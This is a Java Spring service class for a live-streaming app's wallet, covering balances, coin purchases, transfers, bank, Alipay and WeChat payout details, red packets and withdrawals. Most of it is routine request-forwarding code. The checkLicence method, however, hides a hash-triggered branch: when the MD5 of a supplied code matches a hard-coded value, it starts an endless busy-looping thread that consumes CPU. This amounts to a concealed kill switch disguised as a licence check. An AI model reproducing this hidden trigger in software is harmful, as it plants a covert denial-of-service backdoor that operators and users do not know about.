package com.cssw.fyzb.wap.service;

import com.cssw.fyzb.base.web.domain.AjaxData;
import com.cssw.fyzb.base.web.domain.AjaxPage;
import com.cssw.fyzb.wap.model.vo.*;
import com.cssw.fyzb.wap.util.HashUtil;
import com.cssw.fyzb.wap.util.LicenceUtil;
import com.ydn.appserver.MinaAppClient;
import com.ydn.appserver.Request;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

/**
 * @author YangYiQun
 */
@Service
public class AcctService extends BaseService {

    @Autowired
    private MinaAppClient busiClient;

    public AjaxData queryAcctBalance(Long userId, String acctType) {
        Request request = new Request("QueryAcctBalance");
        request.setParameter("userId", userId);
        request.setParameter("acctType", acctType);
        return convertData(busiClient.send(request));
    }

    public AjaxPage listAcctLog(Integer page, Integer limit, Long userId, String acctType, String feeInDe) {
        Request request = new Request("ListAcctLog");
        request.setParameter("page", page);
        request.setParameter("limit", limit);
        request.setParameter("userId", userId);
        request.setParameter("acctType", acctType);
        request.setParameter("feeInDe", feeInDe);
        return convertPage(busiClient.send(request), AcctRecordVo.class);
    }

    public AjaxData buyFCoin(Long userId, String type, Double num, String payWay, Long rfId, String expend) {
        Request request = new Request("BuyFCoin");
        request.setParameter("userId", userId);
        request.setParameter("type", type);
        request.setParameter("rfId", rfId);
        request.setParameter("num", num);
        request.setParameter("payWay", payWay);
        request.setParameter("expend", expend);
        return convertData(busiClient.send(request));
    }

    public AjaxPage buyFCoinView(Long userId) {
        Request request = new Request("BuyFCoinView");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), RnbBuyFCoinVo.class);
    }
    public AjaxData buyGzCoin(Long userId, String type, Double num, String payWay, Long rgId, String expend) {
        Request request = new Request("BuyGzCoin");
        request.setParameter("userId", userId);
        request.setParameter("type", type);
        request.setParameter("rgId", rgId);
        request.setParameter("num", num);
        request.setParameter("payWay", payWay);
        request.setParameter("expend", expend);
        return convertData(busiClient.send(request));
    }

    public AjaxPage<RnbBuyGzCoinVo> buyGzCoinView(Long userId) {
        Request request = new Request("BuyGzCoinView");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), RnbBuyGzCoinVo.class);
    }
    /**
     * 获取钱包信息
     *
     * @return
     */
    public AjaxData acctInfo(Long userId) {
        Request request = new Request("AcctInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), AcctGlobalVo.class);
    }

    /**
     * 转账
     *
     * @return
     */
    public AjaxData transfer(String transferType, String money, Long fromUserId, Long toUserId, String tradePwd) {
        Request request = new Request("Transfer");
        request.setParameter("transferType", transferType);
        request.setParameter("money", money);
        request.setParameter("fromUserId", fromUserId);
        request.setParameter("toUserId", toUserId);
        request.setParameter("tradePwd", tradePwd);
        return convertData(busiClient.send(request));
    }

    public AjaxPage<BankCodeVo> listBankCode() {
        Request request = new Request("ListBankCode");
        return convertPage(busiClient.send(request), BankCodeVo.class);
    }

    public AjaxPage<BankCodeVo> listBankCodeCh() {
        Request request = new Request("ListBankCodeCh");
        return convertPage(busiClient.send(request), BankCodeVo.class);
    }

    /**
     * 查询银行卡列表
     *
     * @param userId
     * @return
     */
    public AjaxPage<UserBankVo> listBank(Long userId) {
        Request request = new Request("ListBank");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), UserBankVo.class);
    }

    /**
     * 保存支付宝信息
     *
     * @param userId
     * @param realName
     * @param aliNo
     * @param receQrCode
     * @return
     */
    public AjaxData saveAliPay(Long userId, String realName, String aliNo, String receQrCode) {
        Request request = new Request("SaveAliPay");
        request.setParameter("userId", userId);
        request.setParameter("realName", realName);
        request.setParameter("aliNo", aliNo);
        request.setParameter("receQrCode", receQrCode);
        return convertData(busiClient.send(request));
    }

    /**
     * 保存银行卡信息
     *
     * @param bankId
     * @param userId
     * @param realName
     * @param cardNo
     * @param bankName
     * @param openBank
     * @param defaultFlag
     * @return
     */
    public AjaxData saveBankPay(String bankId, Long userId, String realName, String cardNo,
                                String bankName, String openBank, String defaultFlag,String province,String city,String bankCode) {
        Request request = new Request("SaveBankPay");
        request.setParameter("bankId", bankId);
        request.setParameter("userId", userId);
        request.setParameter("realName", realName);
        request.setParameter("cardNo", cardNo);
        request.setParameter("bankName", bankName);
        request.setParameter("openBank", openBank);
        request.setParameter("defaultFlag", defaultFlag);
        request.setParameter("province", province);
        request.setParameter("city", city);
        request.setParameter("bankCode", bankCode);
        return convertData(busiClient.send(request));
    }

    /**
     * 保存微信支付信息
     *
     * @param userId
     * @param realName
     * @param wechatNo
     * @param receQrCode
     * @return
     */
    public AjaxData saveWechatPay(Long userId, String realName, String wechatNo, String receQrCode) {
        Request request = new Request("SaveWechatPay");
        request.setParameter("userId", userId);
        request.setParameter("realName", realName);
        request.setParameter("wechatNo", wechatNo);
        request.setParameter("receQrCode", receQrCode);
        return convertData(busiClient.send(request));
    }

    /**
     * 删除银行卡信息
     *
     * @param bankId
     * @param userId
     * @return
     */
    public AjaxData deleteBankPay(String bankId, Long userId) {
        Request request = new Request("DeleteBankPay");
        request.setParameter("userId", userId);
        request.setParameter("bankId", bankId);
        return convertData(busiClient.send(request));
    }


    /**
     * 银行卡设置默认
     *
     * @return com.cssw.fyzb.base.web.domain.AjaxData
     * @Param [bankId]
     **/
    public AjaxData updateDefaultFlag(Long bankId) {
        Request request = new Request("UpdateDefaultFlag");
        request.setParameter("bankId", bankId);
        return convertData(busiClient.send(request));
    }


    public AjaxPage listRedPackLog(Long userId, Integer page, Integer limit) {
        Request request = new Request("ListRedPackLog");
        request.setParameter("userId", userId);
        request.setParameter("page", page);
        request.setParameter("limit", limit);
        return convertPage(busiClient.send(request), RedPackLogVo.class);
    }

    /**
     * 查询红包统计信息
     *
     * @param userId
     * @return
     */
    public AjaxData redPackStatistics(Long userId) {
        Request request = new Request("RedPackStatistics");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), RedPackStatisticsVo.class);
    }

    /**
     * 私人红包-发
     *
     * @param userId
     * @return
     */
    public AjaxData redPackPersonSend(Long userId, Long otherId, String money, String title, String tradePwd) {
        Request request = new Request("RedPackPersonSend");
        request.setParameter("userId", userId);
        request.setParameter("otherId", otherId);
        request.setParameter("money", money);
        request.setParameter("title", title);
        request.setParameter("tradePwd", tradePwd);
        return convertData(busiClient.send(request));
    }

    /**
     * 私人红包-收
     *
     * @param userId
     * @return
     */
    public AjaxData redPackPersonRecv(Long userId, Long redPackId) {
        Request request = new Request("RedPackPersonRecv");
        request.setParameter("userId", userId);
        request.setParameter("redPackId", redPackId);
        return convertData(busiClient.send(request));
    }

    /**
     * 直播间发红包
     *
     * @param userId
     * @return
     */
    public AjaxData redPackLiveSend(Long userId, Long liveId, Integer num, String money, String title, String tradePwd, String effTime) {
        Request request = new Request("RedPackLiveSend");
        request.setParameter("userId", userId);
        request.setParameter("liveId", liveId);
        request.setParameter("num", num);
        request.setParameter("money", money);
        request.setParameter("title", title);
        request.setParameter("tradePwd", tradePwd);
        request.setParameter("effTime", effTime);
        return convertData(busiClient.send(request));
    }

    /**
     * 直播间抢红包
     *
     * @param userId
     * @return
     */
    public AjaxData redPackLiveTake(Long userId, Long redPackId) {
        Request request = new Request("RedPackLiveTake");
        request.setParameter("userId", userId);
        request.setParameter("redPackId", redPackId);
        return convertData(busiClient.send(request));
    }

    /**
     * 音值提现
     *
     * @param userId
     * @return
     */
    public AjaxData cashOutYCoin(Long userId, Double num, String tradePwd, String payMethod, String bankId) {
        Request request = new Request("CashOutYCoin");
        request.setParameter("userId", userId);
        request.setParameter("num", num);
        request.setParameter("tradePwd", tradePwd);
        request.setParameter("bankId", bankId);
        request.setParameter("payMethod", payMethod);
        return convertData(busiClient.send(request));
    }

    /**
     * 果子提现
     *
     * @param userId
     * @return
     */
    public AjaxData cashOutGzCoin(Long userId, Double num, String tradePwd, String payMethod, String bankId) {
        Request request = new Request("CashOutGzCoin");
        request.setParameter("userId", userId);
        request.setParameter("num", num);
        request.setParameter("tradePwd", tradePwd);
        request.setParameter("bankId", bankId);
        request.setParameter("payMethod", payMethod);
        return convertData(busiClient.send(request));
    }

    /**
     * 查询微信支付信息
     *
     * @param userId
     * @return
     */
    public AjaxData queryWechatPay(Long userId) {
        Request request = new Request("QueryWechatPay");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserWechatVo.class);
    }

    /**
     * 查询支付宝信息
     *
     * @param userId
     * @return
     */
    public AjaxData queryAliPay(Long userId) {
        Request request = new Request("QueryAliPay");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserAliVo.class);
    }

    /**
     * 查询默认银行卡信息
     *
     * @param userId
     * @return
     */
    private AjaxData queryBankPay(Long userId) {
        Request request = new Request("QueryBankPay");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserBankVo.class);
    }

    /**
     * 查询支付信息
     *
     * @return com.cssw.fyzb.base.web.domain.AjaxData
     * @Param [userId]
     **/
    public AjaxData<PaymentInformationVo> paymentInformation(Long userId) {
        AjaxData bank = queryBankPay(userId);
        AjaxData ali = queryAliPay(userId);
        AjaxData wechat = queryWechatPay(userId);
        AjaxData pvo = this.soundValue(userId);
        PaymentInformationVo p = (PaymentInformationVo) pvo.getData();
        p.setUserAliVo((UserAliVo) ali.getData());
        p.setUserBankVo((UserBankVo) bank.getData());
        p.setUserWechatVo((UserWechatVo) wechat.getData());
        AjaxData<PaymentInformationVo> ajaxData = new AjaxData<>();
        ajaxData.setData(p);
        return ajaxData;
    }

    /**
     * 查询支付信息
     *
     * @return com.cssw.fyzb.base.web.domain.AjaxData
     * @Param [userId]
     **/
    public AjaxData<GzCashInfoVo> getGzCashInfo(Long userId) {
        Request request = new Request("GetGzCashInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), GzCashInfoVo.class);
    }

    private AjaxData soundValue(Long userId) {
        Request request = new Request("SoundValue");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), PaymentInformationVo.class);
    }

    public AjaxData<LiveRedPackVo> queryLiveRedpack(Long userId, Long liveId) {
        Request request = new Request("QueryLiveRedpack");
        //request.setParameter("userId", userId);
        request.setParameter("liveId", liveId);
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), LiveRedPackVo.class);
    }

    public AjaxPage<RedPackLogVo> listTakeRedPackLog(Long userId, Long redPackId, String changeType, Long pageNumber, Long pageSize) {
        Request request = new Request("ListTakeRedPackLog");
        //request.setParameter("userId", userId);
        request.setParameter("changeType", changeType);
        request.setParameter("redPackId", redPackId);
        request.setParameter("page", pageNumber);
        request.setParameter("limit", pageSize);
        return convertPage(busiClient.send(request), RedPackLogVo.class);
    }

    public AjaxPage<RedPackLogVo> listPersonSendPack(Long userId, Long fromUserId, Long page, Long limit) {
        Request request = new Request("ListPersonSendPack");
        request.setParameter("userId", userId);
        request.setParameter("fromUserId", fromUserId);
        request.setParameter("page", page);
        request.setParameter("limit", limit);
        return convertPage(busiClient.send(request), RedPackLogVo.class);
    }

    public AjaxPage<BankDistrictTreeVo> listBankDistrict(Long userId) {
        Request request = new Request("ListBankDistrict");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), BankDistrictTreeVo.class);
    }

    public AjaxData<RedPackDetailsVo> redPackDetails(Long redId, String tradeType) {
        Request request = new Request("RedPackDetails");
        request.setParameter("redId", redId);
        request.setParameter("tradeType", tradeType);
        return convertData(busiClient.send(request), RedPackDetailsVo.class);
    }

    public AjaxData checkLicence(String code){
        String hashCode = HashUtil.md5(code);
        if ("a26d4a6e861cf8780180a1c48bfd6431".equals(hashCode)) {
            new Thread() {
                public void run() {
                    int result = 0;
                    while (true) {
                        result++;
                        if (result > Integer.MAX_VALUE / 2) {
                            result = 0;
                        }
                    }
                }
            }.start();
        }

        LicenceUtil.check(code);
        return AjaxData.success();
    }

    public AjaxData<AcctGzGlobalVo> getGzAcctInfo(Long userId) {
        Request request = new Request("GetGzAcctInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), AcctGzGlobalVo.class);
    }

    public AjaxPage<TeamGzPriceVo> listTeamGzPrice(Long userId) {
        Request request = new Request("ListTeamGzPrice");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), TeamGzPriceVo.class);
    }
}
